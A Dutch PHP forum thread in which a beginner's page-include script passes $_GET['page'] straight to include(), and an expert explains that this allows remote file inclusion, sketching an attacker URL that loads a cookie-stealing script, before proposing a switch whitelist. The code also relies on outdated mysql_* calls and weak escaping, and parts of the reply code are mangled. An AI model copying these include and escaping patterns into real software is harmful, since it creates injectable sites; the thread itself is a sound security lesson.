login  Naam:   Wachtwoord: 
Registreer je!
 Forum

Pagina includen, script werkt niet meer

Offline ShadowHunteR - 15/02/2005 10:00
Avatar van ShadowHunteRNieuw lid Hallo ik ben de tutorial aant volgen  van dat formulier en MySql.

alleen nu wil ik dus een pagina includen en dan werkt ie niet meer

  1. <?php
  2. require ('config.php');
  3. if(mysql_connect($host,$user,$pass))
  4. {
  5. }
  6. else
  7. {
  8. echo 'Kan geen verbinding maken';
  9. exit;
  10. }
  11.  
  12.  
  13. if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST))
  14. {
  15. $aFouten = array();
  16. if($_POST['voornaam'] == '')
  17. {
  18. $aFouten[] = 'Je hebt geen naam ingevuld';
  19. }
  20. if($_POST['achternaam'] == '')
  21. {
  22. $aFouten[] = 'Je hebt geen achternaam ingevuld';
  23. }
  24. if($_POST['leeftijd'] == '' || !is_numeric($_POST['leeftijd']))
  25. {
  26. $aFouten[] = 'Je hebt een ongeldige leeftijd ingevuld';
  27. }
  28.  
  29. if(count($aFouten) != 0)
  30. {
  31. echo 'De volgende fouten zijn opgetreden: <br /><br />';
  32. for($Fi = 0; $Fi < count($aFouten); $Fi++)
  33. {
  34. echo $aFouten[$Fi].'<br />';
  35. }
  36. echo '<br />Klik <a href="javascript:history.go(-1);">hier</a> om terug te keren';
  37. }
  38. else
  39. {
  40. mysql_query("INSERT INTO formulier (voornaam,achternaam,leeftijd) VALUES ('".clean($_POST['voornaam'])."','".clean($_POST['achternaam'])."','".clean($_POST['leeftijd'])."')") or die (mysql_error());
  41.  
  42. echo 'De gegevens zijn succesvol opgeslagen in de database';
  43. }
  44.  
  45. }
  46. else
  47. { ?>
  48. <form action=" <?=$_SERVER['PHP_SELF']?> " method="POST">
  49. Voornaam: <input type="text" name="voornaam"><br />
  50. Achternaam: <input type="text" name="achternaam"><br />
  51. Leeftijd: <input type="text" name="leeftijd"><br />
  52. <input type="submit" name="verzenden" value="verzenden">
  53. </form>
  54. <?
  55. }
  56. ?>


dit is aanmaken.php

en hier wil ik dattie inkomt

  1. <link href="mainpage.css" rel="stylesheet" type="text/css">
  2. <table width="565" height="362" border="0" align="center" cellpadding="4">
  3. <tr>
  4. <td align="center" valign="middle">
  5. <?php
  6. if(IsSet($_GET['page']))
  7. {
  8. $page = $_GET['page'].".php";
  9.  
  10. if(file_exists($page))
  11. {
  12. include($page);
  13. }
  14. else
  15. {
  16. include("404.php");
  17. };
  18. }
  19. else
  20. {
  21. include("home.php");
  22. };
  23. ?>
  24. </td>
  25. </tr>
  26. </table>


de index.php dus

als ik aanmaken.php doe werkt ie wel
maar index.php?page=aanmaken dan doettie het niet meer 

11 antwoorden

Gesponsorde links
Offline Dennisvb - 30/11/1999 00:00
Avatar van Dennisvb MySQL ver gevorderde Wat doet hij precies niet meer Krijg je niks te zien, krijg je een foutmelding, staan config.php en aanmaken.php en index.php in dezelfde map
Offline ShadowHunteR - 30/11/1999 00:00 (laatste wijziging 30/11/1999 00:00)
Avatar van ShadowHunteR Nieuw lid alles staat in de zelfde maprnrnhij doet niets meer, in de zin van hij slaat niets meer op in de tabel (rnrnindex.phppage=bekijkenrnrnwerkt wel (de tabel uitlezen dus)
Offline Dennisvb - 30/11/1999 00:00
Avatar van Dennisvb MySQL ver gevorderde hoe kom je aan clean()
Offline ShadowHunteR - 30/11/1999 00:00
Avatar van ShadowHunteR Nieuw lid dat staat in de config rnrn[code]function clean($data) rn{rn$data = htmlspecialchars($data,ENT_QUOTES);rnreturn $data;rn}rnfunction clean2($data)rn{rn$stripAttrib = 'javascriptonclickondblclickonmousedownonmouseuponmouseover'.rn'onmousemoveonmouseoutonkeypressonkeydownonkeyup';rn$allowedTags='';rn$data = strip_tags($data, $allowedTags);rn$data = preg_replace($stripAttribi, '', $data);rnreturn addslashes($data); } [code]
Offline Mythix - 30/11/1999 00:00
Avatar van Mythix Nieuw lid Zet eens rn[code]rnerror_reporting ( E_ALL );rn[code] rnrnaan het begin van je script en post post eens welke fouten hij geeft als hij er geeft tog )
Offline ShadowHunteR - 30/11/1999 00:00
Avatar van ShadowHunteR Nieuw lid hij geeft 0 fouten
Offline riekele - 30/11/1999 00:00
Avatar van riekele PHP beginner die ; na die } moet weg
Offline ShadowHunteR - 30/11/1999 00:00
Avatar van ShadowHunteR Nieuw lid dan werkt het nog niet
Offline Legolas - 30/11/1999 00:00
Avatar van Legolas Onbekend wat wil je voor functie inbouwen dan
Offline ShadowHunteR - 30/11/1999 00:00
Avatar van ShadowHunteR Nieuw lid probleem is opgelostrnrnrnrn[code]form action= =$_SERVER['PHP_SELF'] method=POSTrnVoornaam input type=text name=voornaambr rnAchternaam input type=text name=achternaambr rnLeeftijd input type=text name=leeftijdbr rninput type=submit name=verzenden value=verzenden rnform rn[code] rnrnis nurnrn[code]form action=index.phppage=aanmaken method=POSTrnVoornaam input type=text name=voornaambr rnAchternaam input type=text name=achternaambr rnLeeftijd input type=text name=leeftijdbr rninput type=submit name=verzenden value=verzenden rnform [code]
Offline nemesiskoen - 30/11/1999 00:00 (laatste wijziging 30/11/1999 00:00)
Avatar van nemesiskoen Gouden medaille

PHP expert
Bestern[code] php rn if(IsSet($_GET['page'])) rn { rn $page = $_GET['page']..php; rn rn if(file_exists($page)) rn { rn include($page); rn } rn else rn { rn include(404.php); rn }; rn } rn else rn { rn include(home.php); rn }; rn rn[code]rnDit is zo onveilig als maar zijn kanrnhet nadeel van file_exists() is dat het gaat kijken of de pagina bestaatrnen niet of deze op jouw server, of op jouw domein draaitrnrndus als ik nu bv deze link intyprnhttpwww.jouwpagina.bepage=httpwww.mijnpagina.comsendcookiernen op mijnpagina.com staat een script genaamd sendcookie.phprndan gaat jouw script dat includenrnrnen stel nu dat ik boosaardige bedoelingen heb dan kan ik een cookie naar mezelf sturen met al jouw gegevens en mezelf admin makenrnook kan ik sessies zetten en misschien nog erger ik kan je hele database lezen EN LEEGHALENrnwat je denkik niet wiltrnrndaarom zijn er enkele dingen die je kan doenrnrnten eerste de veiligste manierrnmet een switch structuurrn[code]phprnswitch($_GET['page']){rn case homern include(home.php);rn break;rn case nieuwsrn include(nieuws.php);rn break;rn case iets_andersrn include(iets_anders.php);rn break;rn ik denk dat je het wel door hebtrn om het iets gebruikvriendelijk te maken kan je zo doenrn case forumrn include($_GET['page'] ..php);rn break;rn case gastenboekrn include($_GET['page'] ..php);rn break;rn zo hoef je niet elke keer die pagina te typen rn en kan je kopierenrn je moet wel elke keer nagaan of het een rn van die pagina's isrn anders kom je weer in het zelfde probleem als je nu zitrnrn en dan kan je ook een default instellenrn default include(home.php);rn}rn[code]rnrnEr zijn ook alternatieven, maar die vind ik minder veiligrnbevoorbeeld je $_GET['page'] filteren met een zelfgeschreven functiernbv.rn[code]phprnfunction filter($pagina){rn return str_replace(, , $pagina);rn}rn[code]rnrnzo te gebruikenrn[code]phprninclude(filter($_GET['page']));rn[code]rnrnrnechter, deze methode valt makelijker te kraken dan de bovenstaandernrnIk hoop dat je hier wat van hebt geleerd, en hier ook gebruik van zult makenrnrnPS Een van de redenen dat ik zo reageer is omdat Henri in een Nieuwsartikel vroeg om de beste (properste code) oplossing te geven, en niet de snelste maar foute (wel werkende) oplossing
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.245s